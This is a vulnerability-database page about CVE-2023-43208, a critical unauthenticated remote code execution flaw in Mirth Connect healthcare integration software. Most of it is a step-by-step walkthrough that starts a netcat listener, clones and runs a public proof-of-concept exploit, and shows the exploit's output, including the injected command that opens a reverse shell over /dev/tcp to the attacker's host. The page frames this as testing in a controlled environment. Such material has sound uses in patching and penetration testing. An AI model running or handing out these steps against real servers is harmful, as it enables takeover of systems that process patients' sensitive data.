# CVE-2023-43208 - Mirth Connect RCE

> Mirth Connect

- **URL:** https://hackindex.io/vulnerabilities/CVE-2023-43208
- **CVE:** CVE-2023-43208
- **GHSA:** GHSA-pj5c-qr29-6746
- **CVSS score:** 9.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-78
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** < 4.4.1
- **Patched versions:** >= 4.4.1
- **Published:** 2026-02-22
- **Updated:** 2026-08-11

CVE-2023-43208 is a critical vulnerability in **NextGen Healthcare Mirth Connect** (versions **before 4.4.1**) that lets an **unauthenticated remote attacker execute arbitrary code** on the server, meaning they can potentially **take over the host**, run commands, drop malware/ransomware, pivot inside the network, and access or manipulate sensitive healthcare data processed by that system.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Reverse Shell

**[K3ysTr0K3R/CVE-2023-43208-EXPLOIT](https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT)** - A PoC exploit for CVE-2023-43208

First start a reverse shell listener:

```bash
nc -lvnp $LPORT
#
#
```

Then exploit the target:

```bash
git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT.git
cd CVE-2023-43208-EXPLOIT

pyenv virtualenv 3.10 CVE-2023-43208
pip3 install requests pwncat-cs

python3 CVE-2023-43208.py -u https://$TARGET -lh $LHOST -lp $LPORT
#
# [*]  ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██   ██ ██████  ██████   
# ██████   █████
# [*] ██      ██    ██ ██                 ██ ██  ████      ██      ██       ██   ██      ██      ██ 
# ██  ████ ██   ██
# [*] ██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████ ███████  █████   █████  
# ██ ██ ██  █████
# [*] ██       ██  ██  ██            ██      ████  ██ ██           ██            ██      ██ ██      
# ████  ██ ██   ██
# [*]  ██████   ████   ███████       ███████  ██████  ███████ ██████             ██ ██████  ███████  
# ██████   █████
#
# [+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )
#
# [*] Setting up listener on $LHOST:$LPORT and launching exploit...
# Exception in thread Thread-1 (start_listener):
# Traceback (most recent call last):
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
#     self.run()
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
#     self._target(*self._args, **self._kwargs)
#   File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
#     with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
#     raise error(err.errno, msg) from None
# OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
# [*] Looking for Mirth Connect instance...
# [+] Found Mirth Connect instance
# [+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
# [!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
# [*] Launching exploit against https://$TARGET...
```

You will get an error "Address already in use" since we have a nc listener our self. You can stop that listener and rerun the exploit again to get reverse shell inside the exploit script.